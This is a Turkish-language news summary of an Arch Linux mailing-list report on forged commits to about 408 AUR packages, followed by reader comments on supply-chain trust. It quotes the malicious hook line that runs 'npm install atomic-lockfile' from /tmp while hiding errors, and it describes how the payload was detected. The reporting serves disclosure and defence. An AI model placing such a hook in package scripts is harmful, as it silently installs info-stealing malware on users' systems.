Yüzlerce AUR paketi bilgi hırsızı zararlı yazılım saldırısına uğradı
(lists.archlinux.org)- AUR’de (Arch User Repository) çok sayıda zararlı commit enjekte edilerek, paket kurulum sürecinde
npm install atomic-lockfileçalıştıracak şekilde değiştirilmiş bir tedarik zinciri saldırısı yaşandı - Salt okunur ayna arama sonuçlarına göre, yaklaşık 408 paketin PKGBUILD,
.installve.hookdosyalarında aynı zararlı komut doğrulandı - Zararlı commit’ler, bir önceki commit’in adını ve e-posta adresini taklit ederek normal bakımcı gibi görünen bir commit sahteciliği yöntemi kullanıyor; bu durum hesap ele geçirilmesinden ayrı bir konu
- Arch tarafı, zararlı commit’leri sıfırlama/silme ve hesap engelleme işlemlerini sürdürüyor; ek zararlı paketlerin tek bir başlık altında toplanarak bildirilmesi isteniyor
- Topluluk üyeleri tek tek paket commit’lerini art arda bildirerek iş birliğine dayalı bir müdahale yürütüyor; bu, AUR paket ekosisteminin geneline etki eden büyük ölçekli bir olay
Olayın özeti ve müdahale çağrısı
- AUR’ye çok sayıda zararlı commit eklendiğine dair bulgular paylaşıldı ve zararlı commit’leri sıfırlama/silme ile hesap engelleme çalışmaları sürüyor
- Ek zararlı paketler bulunursa, aynı başlık altında toplanabilmesi için bu e-postaya yanıt vererek bildirilmesi istendi
- Koordinasyondan sorumlu kişi, iletilen tüm bildirimleri gördüğünü belirtti ve bildirim için zaman ayıran katılımcılara teşekkür etti
Zararlı kod deseni — atomic-lockfile
- Değiştirilen paketlerin ortak özelliği,
npm install atomic-lockfilekomutunu çalıştırmaları ve sonunaora,fast-glob,glob,minimist,axios,commander,execa,chalk,debuggibi ek npm paket adlarının eklenmesi - Zararlı komutun bulunduğu dosya türleri
*-deps.installbiçimindeki kurulum betikleri*.installpaket kurulum betikleri*.hookdosyaları — örneğinExec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ... 2>/dev/null; exit 0'biçiminde/tmpiçinde çalıştırılıp hataları gizleyerek sonlanan yapı- Bazı durumlarda
install.shgibi ilgili dosyalara da eklenmiş
- Yeni oluşturulmuş zararlı paket örneği olarak
exodus-wallet-binbildirildi; ilk commit’e göre yaklaşık 4 saat önce oluşturulmuş yeni bir paket olduğu görüldü
Tespit yöntemi ve etki kapsamı
- Tespit, salt okunur aynanın doğrudan incelenmesiyle yapıldı
git clone https://github.com/archlinux/aur.gitsonrasında tüm ref’ler dolaşılıpgit grep 'atomic-lockfile'çalıştırıldı- Bunun sonucunda,
atomic-lockfilekuran yaklaşık 408 paketin uzun bir listesi elde edildi; bu liste otomatik temizleme işlemlerinde kullanılabilir
- Etkilendiği belirtilen paket örnekleri
runescape-launcher,oracle-bin,tesseract-gui,python-starsessions,bitcoin-core-git,apple-music-desktop,exodus-wallet-bin,anythingllm-appimage,arm-linux-gnueabihf-binutilsvb.cutefish-*,python2-*,python-*aileleri gibi çok geniş paket grupları da buna dahil
- Çok sayıda tekil bildirim nedeniyle e-posta trafiği artınca, birden fazla kaydın tek e-postada birleştirilerek gönderilmesi önerildi; IRC’de birleştirilmiş paket listesi ayrıca paylaşıldı
Taklit/sahtecilik yöntemi
- Belirli bir hesap (
arojas) ile ilişkili paketlerde, bunun hesap ele geçirme mi yoksa commit sahteciliği mi olduğu sorusu gündeme geldi - Buna karşılık, zararlı commit’lerin bir önceki commit’in adını ve e-posta adresini taklit ettiği (impersonate) doğrulandı — yani commit metaverisi sahteciliği söz konusu
- Aynı kullanıcının diğer paketlerinden bazılarının zaten düzeltilmiş olduğu da bildirildi
Müdahalenin mevcut durumu
- Bildirilen paket commit’leri sırayla işlendi ve bazı girdiler için düzeltildi (Done) yanıtı verildi
- Ek bildirimler geldikçe koordinasyondan sorumlu kişi, ulaşan kayıtları toplu olarak kontrol etti; bu süreç engelleme ve sıfırlama çalışmalarıyla paralel yürütülüyor
- Çok sayıda katılımcı, commit bağlantılarıyla birlikte tek tek paketleri bildirerek topluluk öncülüğünde iş birliğine dayalı bir müdahale yürüttü
1 yorum
Lobste.rs yorumları
Bu olayla birlikte topluluğun anonim ve doğrulanmamış katkılara duyduğu güvenin neredeyse tamamen biteceği gibi geliyor
Sanki güvenin gerçek zamanlı olarak aşındığını izliyoruz
Bilgisayarlara kişisel ve hassas verilerimizi fazlasıyla emanet ediyoruz ve onlar modern yaşamın merkezine yerleşmiş durumda. Kişisel bilgisayarın ele geçirilmesi gerçekten felaket seviyesinde bir olay; en fazla, şanslıysan, bir saldırganın seni özellikle hedef alacak kadar ilginç bulmamasını umabilirsin
Buna rağmen nedense rastgele herhangi bir programı tam yetkiyle çalıştırmayı normalleştirdik[1] ve bunun kötü bir fikir olduğu ortaya çıktığında da şaşırmış gibi davranıyoruz
[1] Bu, mevcut kullanıcı yetkisi için söyleniyor. Çoğu kurulumda root’un fiilen pek bir anlamı yok
AUR paketlerini kurarken veya güncellerken şöyle seçenekler sunan bir sistem hayal ediyorum: paket yakın zamanda güncellendiyse 1 hafta beklemek, birkaç dakikanı ayırıp paketi bizzat incelemek ve itibarına bağlı imzalı bir inceleme bırakmak ya da yeterli güven biriktirmiş başka kişilerin birden fazla imzalı incelemesine dayanmak
Bekleme süresi, Arch’ın tüm paketleri birlikte güncel tutma politikasıyla teknik olarak uyuşmayabilir. Ama AUR paketleri zaten resmî destek kapsamında da değil
Aradan birkaç saat geçmiş olmasına rağmen NPM paketi hâlâ kaldırılmamış: https://www.npmjs.com/package/atomic-lockfile
Kurulu paketlerin etkilenip etkilenmediğini kontrol etmek için
aur_pkg_list.txtdosyasıyla birlikte şu küçük betiği kullanabilirsinizNoktalı virgülleri ekledim, böylece tek satırlık komuta dönüştürmek kolay olsun :-)
Bunun alt dizeleri de eşleştirdiği görülüyor. Örneğin
ktea,kteatimeile de eşleşiyorBu sürüm çalışıyor gibi görünüyor
Bu olay bir süredir devam ediyor olabilir. 18 gün önceki bu e-postaya bakılırsa benzer bir zararlı payload kullanılmış gibi görünüyor, ancak kötü niyetli commit depodan tamamen kaldırılmış gibi
Bununla bağlantılı olarak, popüler Linux dağıtımlarının tedarik zinciri güvenliği duruşunu iyi karşılaştıran bir kaynak var mı? Şimdiye kadar bulduklarımın çoğu üstü kapalı pazarlama metni ya da yapay zekâ üretimi vasat yazılar gibi görünüyordu. Galiba kendim araştırmam gerekecek
Moral bozucu tarafı şu: topluluk temelli geliştirme idealini sevsem de, tedarik zinciri kaygıları yüzünden daha kapalı seçeneklere, hatta mülkî yazılımlara bile daha yakından bakmaya başlıyorum